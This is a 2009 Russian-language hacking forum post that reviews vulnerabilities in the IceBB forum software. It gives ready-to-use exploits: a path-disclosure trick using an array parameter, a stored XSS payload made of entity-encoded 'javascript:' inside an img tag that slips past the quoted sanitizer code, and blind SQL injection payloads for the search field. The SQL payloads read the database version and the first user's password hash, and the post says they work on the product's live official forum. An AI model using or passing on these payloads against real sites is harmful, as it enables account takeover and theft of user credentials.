Показать сообщение отдельно

[Обзор уязвимостей IceBB]
  #7  
Старый 13.12.2009, 17:22
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию [Обзор уязвимостей IceBB]

Сайт: icebb.net
Версии: все версии - представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com

Path Disclosing

Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password.
В html-коде этой страницы меняем строчку
Код:
<input type='password' name='pass_old' class='form_textbox' />
на
Код:
<input type='password' name='pass_old[]' class='form_textbox' />
Теперь заполняем поля и отправляем запрос.
На официальном форуме в ответ я увидел:
Код:
PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370

Active XSS

В скрипте /includes/classes/post_parser.php есть следующий участок кода:

PHP код:
    function xss_is_bad($t)
    {
        
//echo "javascript:";
        
        //$t                = html_entity_decode($t,ENT_QUOTES,'UTF-8');
        
$t                htmlspecialchars_decode($t,ENT_QUOTES);
    
        
$t                str_replace("<","<",$t);
        
$t                str_replace(">",">",$t);
    
        
//$t                = str_replace("&quot;","&quot;",$t);
        
$t                preg_replace("/&#0*([0-9]*);?/",'&#\\1;',$t);
        
$t                str_replace('javascript:','javascript:',$t);
    
        
//$t                = html_entity_decode($t,ENT_QUOTES);
        //echo $t;
    
        
$t                preg_replace("/javascript:/i"        "nojava"/*ava*/."script:"    ,$t);
        
$t                preg_replace("/vbscript:/i"        "novb"/*b*/."script:"    ,$t);
        
//$t                = preg_replace('/javascript:/i','javascript:',$t);
        //$t                = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t);
    
        //$t                = htmlspecialchars($t,ENT_QUOTES);
        
        //$t                    = htmlentities($t,ENT_QUOTES);
        
        //$t                    = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t);
    
        
return $t;
    } 

В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело:
PHP код:
        $t                str_replace('javascript:','javascript:',$t); 
Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос:

Код:
[*img]&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert();[*/img]
В ответ мы увидим желаемое.


Blind SQL-Injection

Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка:

PHP код:
$db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'"); 
Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей.
Здесь sql-инъекция в post-запросе.
Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке.
Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1
Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_u sers+where+id=1),1,1))>1
И так далее...

Последний раз редактировалось Root-access; 13.12.2009 в 17:26..
 
Ответить с цитированием